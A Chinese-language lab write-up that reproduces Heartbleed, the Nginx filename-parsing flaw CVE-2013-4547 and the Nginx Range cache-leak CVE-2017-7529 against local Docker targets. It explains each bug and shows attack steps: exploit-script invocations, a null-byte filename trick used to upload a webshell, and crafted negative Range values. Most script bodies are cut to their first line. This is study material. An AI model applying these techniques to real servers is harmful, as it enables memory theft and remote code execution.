OpenSSL:OpenSSL是一个强大的安全套接字层密码库,Apache使用它加密HTTPS,OpenSSH使用它加密SSH。OpenSSL为网络通信提供安全及数据完整性的一种安全协议,囊括了主要的密码算法、常用的密钥和证书封装管理功能以及SSL协议,并提供了丰富的应用程序供测试或其它目的使用。
越来越多的网站使用加密代码来保护如用户名、密码和信用卡号等数据,这能够防止黑客通过网络盗取个人信息。这种加密协议被称为SSL(Secure Sockets Layer安全套接层)或TLS(Transport Layer Security Protocol安全传输层协议)。当一个网站使用这种安全协议,浏览器中的地址栏旁会出现挂锁图标。编写加密代码十分复杂,所以很多网站使用一种开源的免费安全协议,即OpenSSL。
导致此漏洞的代码在OpenSSL的TLS HeartBeat扩展中,问题存在于ssl/dl_both.c文件中的心跳部分,具体函数为
1 | int dtls1_process_heartbeat(SSL *s) |
- SSLv3记录包括内容:类型域type,长度域length,数据域data。P是指向SSLv3记录中数据的指针。
1 | hbtype = *p++;n2s(p, payload);pl = p; |
先后将类型、长度存入bp指向的buffer,长度与访问者提供的长度相同,从pl复制payload长度到bp指向的buffer中。
而漏洞便发生在此处,当恶意构造的心跳包没有提供足够多的数据,且payload 的长度与实际不符,memcpy便会把SSLv3记录后的数据均复制出来,数据每次至多64KB。
1 | "心跳"是一种常见的运维设计思想,即连接一端的计算机发出一条简短数据,协议另一端的计算机是否仍然在线,并获取反馈 |

也就是说,这个漏洞可以让我们把服务器内存中的数据一次一次的带出,每次可以带出64kb
此漏洞利用条件为OpenSSL1.0.1
复现
由docker ps可知https服务是开在8443端口的,访问一下,记得将请求url请求替换为htpps,因为只支持https请求

对于这个漏洞的攻击就是直接用python将脚本带出,脚本如下:
1 | #!/usr/bin/python |
再使用命令运行脚本:
1 | python seb.py 127.0.0.1 -p 8443 |

数据被成功带出
法2
也可以直接使用msf里的漏洞模块,直接进行攻击,就是程序化的,这里就不再对这个方法做详细的介绍了
CVE-2013-4547(Nginx文件名逻辑漏洞)
之前的CVE几乎都是关于Apache的,所以这里就对Nginx做一个解释
Nginx(发音为“engine-x”)是一个高性能的开源Web服务器软件。它以异步事件驱动的方式处理客户端请求,具有占用资源 少、处理并发连接能力强和稳定性高等特点。Nginx还可以用作反向代理服务器、负载均衡器和HTTP缓存等。
Nginx与Apache相比,有以下的一些区别:
1 | 1.架构设计:Nginx采用了基于事件驱动的架构,而Apache采用的是多线程或多进程的模型。这使得Nginx在处理大量并发连接时更高效,内存消耗更少。 |
正常情况下(关闭pathinfo的情况下),只有.php后缀的文件才会被发送给fastcgi解析。Nginx匹配到.php结尾的请求,就发送给fastcgi进行解析,常见的写法如下:
1 | location ~ \.php$ { |
其中,送入的文件名会被交给.php$这个正则处理,如果满足就被送入location,不满足就丢给别的模块处理
在存在CVE-2013-4547的情况下,我们请求1.gif[0x20][0x00].php,这个URI可以匹配上正则.php$,可以进入这个Location块;但进入后,0x00截至符把后面的内容屏蔽了,Nginx就错误地认为请求的文件是1.gif[0x20],就设置其为SCRIPT_FILENAME的值发送给fastcgi。fastcgi根据SCRIPT_FILENAME的值进行解析,然后后续所有针对文件名的过滤就都失效了. 漏洞的利用条件是nginx版本在 0.8.41~1.4.3, 1.5 ~ 1.5.7 漏洞复现
漏洞的利用条件是nginx版本在0.8.411.4.3,1.51.5.7
复现

在该漏洞中,非法字符空格和截止符(\0)可能会导致 Nginx 在解析 URI 时的有限状态机(Finite State Machine)出现混乱。有限状态机是一种计算模型,用于描述具有有限数量状态和规则转换的系统。在 Nginx 中,有限状态机用于解析和处理客户端请求。
举个例子来说明:假设服务器上存在一个文件名为 “file.aaa “,注意文件名的最后一个字符是空格。在正常情况下,当我们使用 URI 访问该文件时,应该是:”http://example.com/file.aaa “。然而,在存在该漏洞的情况下,攻击者可以通过构造特殊的请求来绕过 URI 后缀名限制。
例如,攻击者可以发送一个请求:”http://example.com/file.aaa \0.bbb”。这里 “%20” 是 URL 编码表示的空格字符。由于有限状态机在解析 URI 时无法正确处理空格字符,Nginx 可能会误认为请求的文件后缀是 “.bbb “,而忽略了空格前的内容。这样,攻击者就能够绕过原本的后缀名限制,访问到服务器上的文件。
先上传一个木马文件试试

这里能看到访问失败了,根据这个漏洞的原理,我们抓包在16进制编辑器里面插入16进制的20和00就行

可以看到上传成功,尝试用蚁剑连接
蚁剑连接失败,不知道是为啥,这里就不管了,不过修改木马文件内容为phpinfo()是可以看到有关php的相关信息的。
CVE-2017-7529(Nginx越界读取缓存漏洞)
- HTTP 断点续传是一种机制,允许客户端在下载或上传大型文件时能够在中断和恢复的情况下继续传输文件,而无需重新开始整个传输过程。Range 头字段是用于实现断点续传的关键。
- Range 头字段用于指定客户端希望从服务器端获取的资源的特定范围。它的格式为 Range: bytes=start-end,其中 start 是起始字节位置,end是结束字节位置(可选)。
- 当客户端发送带有 Range 头的请求时,服务器会根据该范围返回相应的文件片段。这使得客户端可以通过多次发送请求来逐步下载整个文件,或者在下载过程中暂停并继续下载。
- 以下是使用 Range 头实现断点续传的示例:
客户端发起带有Range头的GET请求:
1 | Copy CodeGET /path/to/file HTTP/1.1 |
服务器相应带有指定范围的内容:
1 | Copy CodeHTTP/1.1 206 Partial Content |
- 注意,服务器的响应状态码是 206 Partial Content,并且响应头中包含了 Content-Range 字段,指示服务器返回的数据范围。客户端接收到响应后,可以将获取的文件片段保存到本地文件中。
- 如果客户端在后续请求中需要继续传输文件的其他部分,只需更新 Range 头字段的范围,再次发送带有 Range 头的 GET 请求。
复现
首先访问一下8080端口的服务

当用户发起请求时,Nginx会先检查是否有与请求匹配的缓存文件存在。如果存在缓存文件并且命中了请求,则不需要再次访问后端服务器,Nginx会直接从缓存文件中读取HTTP返回包体,并将其返回给用户。这节省了从后端服务器获取数据的时间,提高了响应速度和性能。
缓存的文件通常包含文件头、HTTP返回包头和HTTP返回包体。文件头包含了额外的信息,例如缓存的创建时间和过期时间等。HTTP返回包头则包含了原始服务器返回的响应头部信息,例如状态码、内容类型、缓存策略等。而HTTP返回包体则是服务器返回的实际内容,比如网页的HTML代码或者静态文件的二进制数据。
如果我的请求中包含Range头,Nginx将会根据我指定的start和end位置,返回指定长度的内容。而如果我构造了两个负的位置,如(-600, -9223372036854774591),将可能读取到负位置的数据。如果这次请求又命中了缓存文件,则可能就可以读取到缓存文件中位于“HTTP返回包体”前的“文件头”、“HTTP返回包头”等内容。这样就实现了读了别的请求的缓存文件,相当于获取了别人的请求内容.
直接用脚本打
1 | #!/usr/bin/env python |
1 | python 1.py http://192.168.10.129:8080/ |

成功读取缓存